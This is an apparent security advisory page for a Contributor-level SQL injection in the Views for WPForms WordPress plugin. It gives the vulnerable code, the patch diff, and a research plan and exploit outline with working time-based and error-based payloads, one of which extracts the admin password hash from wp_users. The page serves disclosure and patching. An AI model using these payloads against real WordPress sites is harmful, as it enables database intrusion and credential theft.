CVE-2026-42742

Views for WPForms – Display & Edit WPForms Entries on your site frontend <= 3.4.6 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.4.7
Patched in
5d
Time to patch

Description

The Views for WPForms – Display & Edit WPForms Entries on your site frontend plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.4.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.4.6
PublishedMay 28, 2026
Last updatedJune 1, 2026
Affected pluginviews-for-wpforms-lite

What Changed in the Fix

Changes introduced in v3.4.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit a SQL Injection vulnerability in the "Views for WPForms" plugin. ### 1. Vulnerability Summary The **Views for WPForms** plugin (up to 3.4.6) is vulnerable to a time-based or error-based SQL Injection via the sorting parameters stored in a View's sett…

Show full research plan

This research plan outlines the steps to exploit a SQL Injection vulnerability in the "Views for WPForms" plugin.

1. Vulnerability Summary

The Views for WPForms plugin (up to 3.4.6) is vulnerable to a time-based or error-based SQL Injection via the sorting parameters stored in a View's settings. Specifically, the $field_id and $direction parameters are concatenated directly into a raw SQL query within the wpforms_views_get_submissions function without sufficient sanitization or preparation using $wpdb->prepare().

Since Contributors can create and edit their own "Views" (wpforms-views post type), they can inject malicious SQL payloads into the view_settings metadata. When this View is rendered via its shortcode (e.g., on a post or page), the payload is executed.

2. Attack Vector Analysis

  • Vulnerable Sink: inc/helpers.php inside wpforms_views_get_submissions() at the lines:
    $sql_query .= " AND f.field_id = {$field_id}
                  GROUP BY e.entry_id
                  ORDER BY f.value {$direction}
                  LIMIT {$offset},{$limit}";
    
  • Vulnerable Parameters: $field_id (from $sort['field_id']) and $direction (from $sort['direction']).
  • Authentication: Required (Contributor+).
  • Preconditions:
    1. The WPForms plugin must be installed (as the plugin relies on wpforms() function).
    2. At least one WPForms form must exist.
    3. A wpforms-views post must be created with a malicious view_settings JSON object.

3. Code Flow

  1. Entry Point: A user views a page containing the [wpforms-views id="XX"] shortcode.
  2. Shortcode Handling: WPForms_Views_Shortcode::shortcode() in inc/class-wpforms-views-shortcode.php is triggered.
  3. Settings Loading: The function retrieves JSON settings from post meta:
    get_post_meta( $view_id, 'view_settings', true ).
  4. View Processing: get_view( $view_settings ) is called.
  5. Sort Argument Building: The code iterates through viewSettings->sort and populates $args['sort_order'] with field_id and direction.
  6. Vulnerable Sink: wpforms_views_get_submissions( $args ) in inc/helpers.php is called.
  7. Injection: If field_id is a custom field ID (not submission_id or entryDate), the code enters the else block (around line 105) and appends the unescaped parameters to $sql_query.

4. Nonce Acquisition Strategy

To create a View and save its settings as a Contributor:

  1. Create View: Use the AJAX action wpf-views-create (inferred from wpforms_views_admin_scripts in wpforms-views.php).
  2. Acquire Nonce:
    • Navigate to /wp-admin/edit.php?post_type=wpforms-views.
    • Use browser_eval to extract the nonce: window.wpf_views_admin?.create_nonce.
  3. Save Settings: The plugin uses a React app to save. This likely uses a REST API endpoint or a specific AJAX action like wpf_views_save_settings.
    • Note: Since we are a Contributor, we can also try updating the post meta view_settings directly via the WordPress REST API for posts if enabled: POST /wp-json/wp/v2/wpforms-views/{id}.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload in the direction parameter.

Step 1: Create a View

Perform an AJAX request to create a new View post.

  • Action: wpf-views-create
  • Nonce: Extracted from wpf_views_admin.create_nonce
  • URL: /wp-admin/admin-ajax.php

Step 2: Update View Settings

Inject the payload into the view_settings meta. The direction field will contain the SLEEP command.

  • Payload JSON:
    {
      "formId": "1",
      "viewType": "table",
      "sections": {"beforeloop": {"rows": []}, "loop": {"rows": ["row_1"]}, "afterloop": {"rows": []}},
      "rows": {"row_1": {"cols": ["col_1"]}},
      "columns": {"col_1": {"size": "1", "fields": ["1"]}},
      "viewSettings": {
        "multipleentries": {"perPage": "10"},
        "sort": [{
          "field": "1",
          "value": "ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)"
        }]
      }
    }
    
  • Method: Use the plugin's save AJAX action (likely wpforms_views_save_settings) or the REST API.

Step 3: Trigger Injection

  1. Create a public post/page containing [wpforms-views id="<NEW_ID>"].
  2. Request that page using http_request.
  3. Measure the response time.

6. Test Data Setup

  1. Install WPForms: wp plugin install wpforms-lite --activate
  2. Create a Form: wp eval "wpforms()->form->add('Test Form');" (or via UI).
  3. Create a Contributor User: wp user create attacker attacker@example.com --role=contributor --user_pass=password

7. Expected Results

  • The HTTP request to the page containing the shortcode should take at least 5 seconds to return.
  • The SQL query logged (if debugging is on) will show:
    ... ORDER BY f.value ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a) LIMIT 0,10

8. Verification Steps

  1. Check Meta: Use WP-CLI to verify the payload is stored correctly:
    wp post meta get <VIEW_ID> view_settings
  2. Confirm Execution: Observe the last_query in the $wpdb global or use a MySQL general log to see the executed SLEEP command.

9. Alternative Approaches

  • Field ID Injection: If direction is somehow restricted, inject into field_id.
    • Payload: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Error-Based SQLi: If WP_DEBUG is true, use updatexml() or extractvalue() to leak the database version or admin password hashes.
    • Payload for direction: ASC, (select 1 from(select updatexml(1,concat(0x7e,(select user_pass from wp_users where id=1)),1))a)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Views for WPForms plugin is vulnerable to authenticated SQL Injection due to the improper handling of sorting parameters in the `wpforms_views_get_submissions` function. Attackers with Contributor-level permissions can inject malicious SQL payloads into the View's settings, which are executed when the View is rendered via a shortcode, allowing for the extraction of sensitive database information.

Vulnerable Code

// inc/helpers.php (approx. lines 65-125 in version 3.4.6)
foreach ( $args['sort_order'] as $sort ) {
    $field_id  = $sort['field_id'];
    $direction = $sort['direction'];
    // ... [Logic for standard fields] ...
    } else {
        // For custom fields in the non-filter case, we need to use a custom query
        // This is a simple implementation for the lite version
        $entry_table        = WPForms_Views_Common::get_entry_table_name();
        $entry_fields_table = WPForms_Views_Common::get_entry_fields_table_name();

        $limit   = isset( $entries_args['number'] ) ? absint( $entries_args['number'] ) : 25;
        $offset  = isset( $entries_args['offset'] ) ? absint( $entries_args['offset'] ) : 0;
        $form_id = absint( $args['form_id'] );

        $sql_query = "SELECT e.* FROM {$entry_table} e
                      LEFT JOIN {$entry_fields_table} f ON e.entry_id = f.entry_id
                      WHERE e.form_id = {$form_id}
                      AND e.status != 'trash'
                      AND e.status != 'partial'";

        if ( ! empty( $entries_args['entry_id'] ) ) {
            $entry_id   = absint( $entries_args['entry_id'] );
            $sql_query .= " AND e.entry_id = {$entry_id}";
        }

        $sql_query .= " AND f.field_id = {$field_id}
                      GROUP BY e.entry_id
                      ORDER BY f.value {$direction}
                      LIMIT {$offset},{$limit}";

        $results = $wpdb->get_results( $sql_query );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/views-for-wpforms-lite/3.4.6/inc/admin/class-wpforms-views-posttype.php /home/deploy/wp-safety.org/data/plugin-versions/views-for-wpforms-lite/3.4.7/inc/admin/class-wpforms-views-posttype.php
--- /home/deploy/wp-safety.org/data/plugin-versions/views-for-wpforms-lite/3.4.6/inc/admin/class-wpforms-views-posttype.php	2026-03-11 16:00:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/views-for-wpforms-lite/3.4.7/inc/admin/class-wpforms-views-posttype.php	2026-05-08 12:41:06.000000000 +0000
@@ -43,7 +43,9 @@
 			'query_var'          => true,
 			'rewrite'            => array( 'slug' => 'views-for-wpforms-lite' ),
-			'capability_type'    => 'post',
+			'capability_type'     => 'page',
+			'map_meta_cap'        => true,
 			'has_archive'         => false,
 			'menu_icon'		 => 'dashicons-format-gallery',
 			'hierarchical'       => false,
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/views-for-wpforms-lite/3.4.6/inc/helpers.php /home/deploy/wp-safety.org/data/plugin-versions/views-for-wpforms-lite/3.4.7/inc/helpers.php
--- /home/deploy/wp-safety.org/data/plugin-versions/views-for-wpforms-lite/3.4.6/inc/helpers.php	2026-03-11 16:00:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/views-for-wpforms-lite/3.4.7/inc/helpers.php	2026-05-08 12:41:06.000000000 +0000
@@ -63,8 +63,13 @@
 	// Add order by parameters
 	if ( ! empty( $args['sort_order'] ) ) {
 		foreach ( $args['sort_order'] as $sort ) {
-			$field_id  = $sort['field_id'];
-			$direction = $sort['direction'];
+			$field_id  = isset( $sort['field_id'] ) ? $sort['field_id'] : '';
+			$direction = isset( $sort['direction'] ) && 'DESC' === strtoupper( $sort['direction'] ) ? 'DESC' : 'ASC';
+
+			if ( empty( $field_id ) && '0' !== $field_id ) {
+				continue;
+			}
+
 			if ( in_array( $field_id, array( 'submission_id', 'entryId', 'entryid' ) ) ) {
 				$entries_args['order']   = $direction;
 				$entries_args['orderby'] = 'entry_id';
@@ -76,43 +81,56 @@
 				// This is a simple implementation for the lite version
 				$entry_table        = WPForms_Views_Common::get_entry_table_name();
 				$entry_fields_table = WPForms_Views_Common::get_entry_fields_table_name();
+				$field_id           = absint( $field_id );
 
-				$limit   = isset( $entries_args['number'] ) ? absint( $entries_args['number'] ) : 25;
-				$offset  = isset( $entries_args['offset'] ) ? absint( $entries_args['offset'] ) : 0;
-				$form_id = absint( $args['form_id'] );
+				if ( empty( $field_id ) ) {
+					continue;
+				}
 
-				$sql_query = "SELECT e.* FROM {$entry_table} e
+				$limit    = isset( $entries_args['number'] ) ? absint( $entries_args['number'] ) : 25;
+				$offset   = isset( $entries_args['offset'] ) ? absint( $entries_args['offset'] ) : 0;
+				$form_id  = absint( $args['form_id'] );
+				$entry_id = ! empty( $entries_args['entry_id'] ) ? absint( $entries_args['entry_id'] ) : 0;
+
+				$sql_query  = "SELECT e.* FROM {$entry_table} e
                               LEFT JOIN {$entry_fields_table} f ON e.entry_id = f.entry_id
-                              WHERE e.form_id = {$form_id}
-                              AND e.status != 'trash'
-                              AND e.status != 'partial'";
-
-				if ( ! empty( $entries_args['entry_id'] ) ) {
-					$entry_id   = absint( $entries_args['entry_id'] );
-					$sql_query .= " AND e.entry_id = {$entry_id}";
+				              WHERE e.form_id = %d
+				              AND e.status != %s
+				              AND e.status != %s";
+				$sql_params = array( $form_id, 'trash', 'partial' );
+
+				if ( ! empty( $entry_id ) ) {
+					$sql_query   .= ' AND e.entry_id = %d';
+					$sql_params[] = $entry_id;
 				}
 
-				$sql_query .= " AND f.field_id = {$field_id}
+				$sql_query   .= " AND f.field_id = %d
                               GROUP BY e.entry_id
                               ORDER BY f.value {$direction}
-                              LIMIT {$offset},{$limit}";
+				              LIMIT %d,%d";
+				$sql_params[] = $field_id;
+				$sql_params[] = $offset;
+				$sql_params[] = $limit;
 
-				$results = $wpdb->get_results( $sql_query );
+				$results = $wpdb->get_results( $wpdb->prepare( $sql_query, $sql_params ) );
 
 				// Total entries count - simplified for lite version
-				$count_query = "SELECT COUNT(DISTINCT e.entry_id) FROM {$entry_table} e
+				$count_query  = "SELECT COUNT(DISTINCT e.entry_id) FROM {$entry_table} e
                                LEFT JOIN {$entry_fields_table} f ON e.entry_id = f.entry_id
-                               WHERE e.form_id = {$form_id}
-                               AND e.status != 'trash'
-                               AND e.status != 'partial'";
-
-				if ( ! empty( $entries_args['entry_id'] ) ) {
-					$count_query .= " AND e.entry_id = {$entry_id}";
+				               WHERE e.form_id = %d
+				               AND e.status != %s
+				               AND e.status != %s";
+				$count_params = array( $form_id, 'trash', 'partial' );
+
+				if ( ! empty( $entry_id ) ) {
+					$count_query   .= ' AND e.entry_id = %d';
+					$count_params[] = $entry_id;
 				}
 
-				$count_query .= " AND f.field_id = {$field_id}";
+				$count_query   .= ' AND f.field_id = %d';
+				$count_params[] = $field_id;
 
-				$total_entries_count = $wpdb->get_var( $count_query );
+				$total_entries_count = $wpdb->get_var( $wpdb->prepare( $count_query, $count_params ) );
 
 				$submissions['total_count'] = $total_entries_count;

Exploit Outline

The exploit requires an attacker with Contributor-level access to the WordPress admin panel. 1. **Payload Preparation**: The attacker creates a new 'WPForms View' post. During the creation or subsequent editing of this View, the attacker provides a malicious JSON configuration for the `view_settings` post meta. 2. **Injection Point**: The payload is embedded within the `sort` array of the `viewSettings` JSON object. Specifically, the attacker injects SQL commands into the `value` field (which corresponds to the SQL `direction` parameter) or the `field` key (which corresponds to `field_id`). 3. **Payload Construction**: A typical payload would use a time-based blind injection (e.g., `ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)`) or an error-based injection technique to leak data. 4. **Execution**: The attacker places the shortcode for the malicious View (e.g., `[wpforms-views id="123"]`) on a public-facing post or page. When any user (including the attacker) visits that page, the plugin retrieves the malicious settings and concatenates the payload directly into the SQL query executed in `wpforms_views_get_submissions`.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.